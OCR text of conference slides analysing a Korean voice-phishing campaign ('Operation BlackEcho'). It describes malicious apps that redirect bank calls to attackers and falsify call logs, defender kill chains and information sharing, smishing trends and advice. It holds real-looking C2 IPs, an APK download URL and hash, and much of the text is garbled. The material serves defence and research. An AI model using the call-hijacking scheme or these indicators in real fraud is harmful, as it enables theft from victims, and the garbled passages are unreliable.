- ©CO¢SBENNEZO0ASEOB
o ¢ 2 . “'Control POSSBEEOEZFOASPEOOBE
lcon Menu POISBEEDESZO0ASOOB
- o v | - PO G BENOSZ0ASEOB
o ; IV BEOBNGEZO0ASDOB
a s6 SN POSCBONOESZ0ASBDO0E
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Call Control Type - Forced outgoing calls

D

Victim

V ‘N Bank ARS™ pﬂ
& _\
% m
@ :ﬂ ‘A’ Bank
@
3 )
Attacker
Call log

(D The victim makes a call to ‘A’ bank.

@ The malicious app plays an ARS file for ‘A’ bank,

ends the outgoing call.

@ The malicious app initiates new call to the

attacker, and changes the call screen.

@ After the victim finishes the call, the malicious app
modifies the outgoing call log, from the attacker to
‘A’ bank.
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Call Control Type - Forced incoming calls

b

Victim

N — Y,
Incomin
9  Bank
Call log

o]
BANK

‘A’ Bank

Attacker

(D The attacker makes a call to the victim.

@ The malicious app changes the call screen to trick
the victim into believing that the call is from ‘A’ bank

rather than from the attacker.

@ After the call ends, the malicious app modifies the

incoming call log, from the attacker to ‘A’ bank.
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Call Control Type - Forced incoming calls blocking

(%x/ \

Victim

Incoming ABank

Call log

o
BANK

SO0

‘A’ Bank

2

Attacker

@ ‘A’ bank makes a call to the victim.
@ The malicious app ends the call from ‘A’ bank.

@ The malicious app deletes the incoming call log.
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(4) Take control of the victim device (2/2)

% Attacker monitors everything about victim, All calls are routed to the criminal organization.

62
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5 Take the victim's money

 Finally, attacker sends a cash collector to collect the victim's money.

' o
XNEe 9
o =Eus 2|(FUE 2 23 @ o & sorlhs x
(" | @ Q '
Infected (' | ¢ ”” Infected phone
" x .
Phone List FA location on
(| . Google Maps
(" ®
T @ 3 -
1 1
> ZATY A -
ougle ® = B e M

[ Control Server— Show Map Menu ] 63
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6. Countermeasure

#BHAS @BlackHatEvents
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Phishing Kill Chain - Introduction

% To combat phishing crimes, including voice phishing, we proactively take down phishing

sites and voice phishing app download sites.

Detection Analysis Resp
Phishing Detection 0
@ BlackList IP »” System N

Moritoring

Internet

,

VoicePhishing Information

@® URL Pattern Share System

Detection A
® Uploading info
to shared system

VoicePhishing
App, Site

\-------- ----—,

\
] 1
I @ Site Pattern Collect & Analysis
: Q UrlScan.lO : Detection @ y ® Gov Agency | @) After review,
I I Reporting Vv propagate to ISP
I 5 I @ CTI Feed
| OriminallP | inoraton .\ i Vrv—
] Phishing Site Info
\i ———————— 7’
Fake Phone Number @ Block access
to phishing
& L g VoicePhishing APK site and V.P
@ Phishing priog . APP downlaod
Financial Reporting ‘E‘ Control Server Info “ 65
. N 4
Companies S o - Public Mobile

Security Officer Phones
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Phishing Kill Chain - Detection

r . Y
|
| Detection method
@ BlackList IP
Internet Moritoring
ourLrateern || % Phishing detection system
Detection
> Blacklist IP Monitoring
CTI Service
Il’-‘. > URL pattern detection
! ite Pattern
: @UrlScan.lO : ®|§:te;i¢t,tn |
|~ . | ocnred || % Use of external intelligence
: @r Imlﬂal IP ,I Integration
A ’ > Site pattern detection (Using API)
AN > CTI Feed Integration
@ @ Phishing
. . Reportin . .
Financial P9 | % Report from security officer 66
Security Officer

-
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Detection
Phishing Detection .
socssr | - ARE-. | ¢ Collect
Internet Moritoring 'I \‘
i ; > Phishing Site html, Screenshot
@ URL Pattern ¥ I
Detection ! I . . .
! s ! > Site info (ip, url, asn, country,.. etc)
-+
4 I | | % Analysis
: _— - @ Site Pattern : @ Collect & Analysis f
| risean. pitection N ! > APK info (Hash, Package name, App name)
: @ CTI Feed : : , .
| Integration : == phishing Site Info : > App s Control Server info (URL)
: Fake Phone Number | > App’s Fake Phone Number (from hardcoding
i [
: VoicePhishing APK 1 or Control Server communication)
@ Phishing : o ;
< Reporting \\ ‘;‘ Control Server Info /,
Companies N i ——— —— — - 67
Security Officer
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) Analysis b
% Share
VoicePhishing Information
> Sharing information with financial and security Share System
i ) 1@ Uploading info
companies through a sharing system called to shared system
VFISS
® Gov.Agencyl@ After review,
(VoicePhishing Information Sharing System) Reporting propagate to ISP
)( o OIE]LJ!XI
® Block access
> Report phishing sites to KISA to phishing
| Site and V.P
(Korea Internet & Security Agency) TI\PP downlaod
> KISA asks South Korean ISPs to block oLl 68
, Phones )
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Sharing Info List

% Financial and security companies use this information to prevent voice phishing.

> Malware app: App hash information, control server information, impersonation agency
> Phishing Site : IP, URL, Impersonation agency, Screenshot

> Therefore, they can prepare for blocking and continue their malicious behavior.

Fake Phone Number

Phishing Site

Malware APP

v DATA
id 208105
datetime 2024-03-11 16:17:28
v DATA v DATA
c2_ip http://154.19.69.122 =
id 208553 id 208550

g2 xation dateti 2024-03-20 02:30:37

. atetime -03- :30:
distribution_ip 61.223.153.22 datetime 2024-03-20 04:53:09 :

o c2_ip 172.67.196.50
K typi k company e
apk_name yping works c2_nation
.huNhpw.jYanzF distribution_i 61.223.129.152
pkg_name OIS P fake_phonenum 07047844169
apk_mdS c66753ea78593fc65d77e7d3f6bcad73 distribution_url http://61.223.129.152 s o
= origin_phonenum
k_link http: ; ‘ ;i Xph.

apk_lin ttp://61.223.153.22/3adQsmsXph.end Attachment Aot
company oLag
origin_phonenum
Attachment

== 69
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Korean Gov., Police, Financial Response

% With the rise in the prevalence of voice phishing crimes, many industries are working to

Financial industry

S,
J(ET

combat the crime.

Goverment

—T—i—'ﬁ‘ 3 \.I ‘ ; I

HI3XI7t le|z2 AX|st Zioz
o| M E|= ot deo] EIX|=|ASLICY.

= EX 2O O|HAo|Lt SMSEX} A3 E Solf HA[El ofd
BEHZ, Te2t2A2], SEAHE S22 oy ELCh
- SBAIL OY S 2loH BEEA| AMH| BEEfLICH

KB=0l2 _—
com.google.v0226132241 ‘

Chrome el
<. A
ongb.zbvmf.tusob

Voice Phishing Crime Task Force V.P Integrated Reporting Centre Detecting malicious apps in financial apps
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7. Trend

Operation BlackEcho
:Voice Phishing using Fake Financial and Vaccine Apps
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Trends

*» As the pressure on voice phishing grows, criminal organizations are moving to other

phishing businesses.

> The “balloon effect” is a situation where solving one problem creates another.

| Balloon Effect | I BlackEcho Smishing |

S1%x}0 Of
O Lo L
ofa IMEx|

CHEIRIS STHHE S218 W22 HHEHI!

(o S ZHS Sill M=S SELIC
number
sk socialolzzs -
number N NG

B g10] 2121 01012345678 4P " &N

Fossus 0182052612341 x
Nt =

[J bl o 212 280 st 59| A=A 10| 22 01012345678
MY

UL SR . . 72
Event (Gas ticket) Event (Paris Olympics) ‘ Wedding Invitation
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Trends

% South Korea has a very high smartphone penetration rate of 98%, and mobile apps are

used to make payments, buy and sell goods, and conduct various financial activities.

> Compared to voice phishing, Smishing and second-hand fraud are low-value and require relatively little

time and labor.

[ Smishing | | second-hand Phishing I

(51 -4 ‘A'\; '
§ - »

1410100027

EI-:. 4 YN EHE

FRM:WellsFargo-Call:§33.983.2265
SUBJ:$240.00 @ ATM on
04/12/2021 Approved.

MSG:lgnore MSG if Valid. Contact
Us if Suspicious.
IDN0:10452420082

|l Joonggonara.,,
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Trends - Smishing(1/2)

7/

% While early smishing in South Korea was mostly about impersonating delivery

services and National Health Insurance, there are now many different themes.

> Criminal organizations spread smishing texts to match holidays or social issues.

Holiday pocket money

2024'A M"4= O[HIE

Mjgti=E M=5HH
=20l XK

2l = 22517

A|Cy 10t 5X210] E{X{ L

21~212

Obituary / wedding invitation

P -

otHEel gd=2
L
Ol Z#Xt= Oteliet 20| ZE0| fI22 ]

24 Al 18 FAIDIE SFEEELICH

a7

A7} Al Zigs Yyt )
|
ctolE e 2201l

Administrative Fines

= o
B> Google Play KISA & Eﬂﬁnn" r—Ha*._' F—1

Q 247 182
waos
NEOA * 0|8 Hx|e| SXIE W DAL “4sAZt O
0T 2 ololApy| 4% S ELC
SuAm a0 HEMST} ABE B 08
37| o Sl7telo] MrELIch
. ¢
FUFSAFR LY

S &
o o | | E;?%'|=:i=iil||
AN

MZAMS 79979-11
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Trends - Smishing(2/2)

% Recently, smishing in South Korea is basically using shortened URLs and creating

phishing sites with modern Uls that are specialized for mobile.

> The main purpose of a smishing app is to spread to the masses.

(The Smishing app is lighter in function than the VoicePhishing app.)

K \ https://kors.frii.site/
Electronic notice to

cooperate with the it
investigation of -
stalking videotaping. » )5 §1I’Ii'£ CRARILICH »
[Shortened URL 0|g/g2 Z3IMH|A o
Service] /€3 Z3|MH|Z T e
HOUA sHe1st7|
\ / 111:28
Domain addresses
Using the Shortened consisting of commonly Mobile-friendly Web Ul 75
URL Service used keywords, such as

KOR, GOV, etc.
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Trends - Second-hand Phishing

% Korea has a number of active second-hand trading platforms such as “Joonggonara” and “Carrot”.

> They trick you into depositing cash by pretending to be a secure payment.

FRUE

wyolop|
FOHXHE H7t ghE AEE M
I". i - EHE 3 SRR BFL0R
4 08 wyolop|
i3 450,008
‘ https://cafe.ngbbyndcbbccv.(
A4 450,000% ' y 1 \ 1
om/order/721490135
[ Pay 2Hp A
o YBIA HHolop|
HIO|HZ0ll M O Al UL Tror
#3945
L weolop|
XS0l +=4==2Z0|2tsA H|o|tHof
o WSS itk 3% 43 SA UL A‘i 4\-4\-§ 9%% Q%g% 100':.'_}
] A2k w2 -
1. Encourage customers to enter 2. Deposit errors, non-payment of 3. Deposit additional funds for the victim

personal information and pay for goods fees, drive additional deposits
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8. Conclusion

#BHAS @BlackHatEvents
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What can we do?

» People
> Install mobile antivirus apps and don't download apps from

unknown sources

> Be careful about providing personal information, ID

images, and credit information
% Investigative Agencies, Financial companies
> Share information related to voice phishing with each other.
> Analyze infrastructure related to malicious apps and work to

prevent them in advance

> Financial firms should operate a system that immediately

alerts or blocks suspicious transactions on customer

accounts. (FDS).
78
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Intelligence Report

7/
X4

This report provides details about Operation BlackEcho

> Crime Scenario Operation BlackEcho
. s . Voice Phishing Threat Analysis Report

> Malicious App Analysis on Financial Sector

> Network Analysis

> Voice Phishing Analysis

Additionally, it includes loC and various artifacts

to identify and respond to Operation BlackEcho.

>

>

|0oC (Indicator Of Compromise)

Files / SharedPreferences / Database / ...

You can download
the report here.
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* Malicious apps are becoming increasingly sophisticated.

Security researchers must enhance their skills to analyze and respond to these apps.

¢

<,

» Companies and agencies should identify potential threats and respond accordingly.

&

Collaboration between them can be beneficial.

¢

% Financial consumers should learn how to protect themselves from financial fraud,

&

including voice phishing.

Understanding the attack process and real-life cases can help strengthen their defenses.
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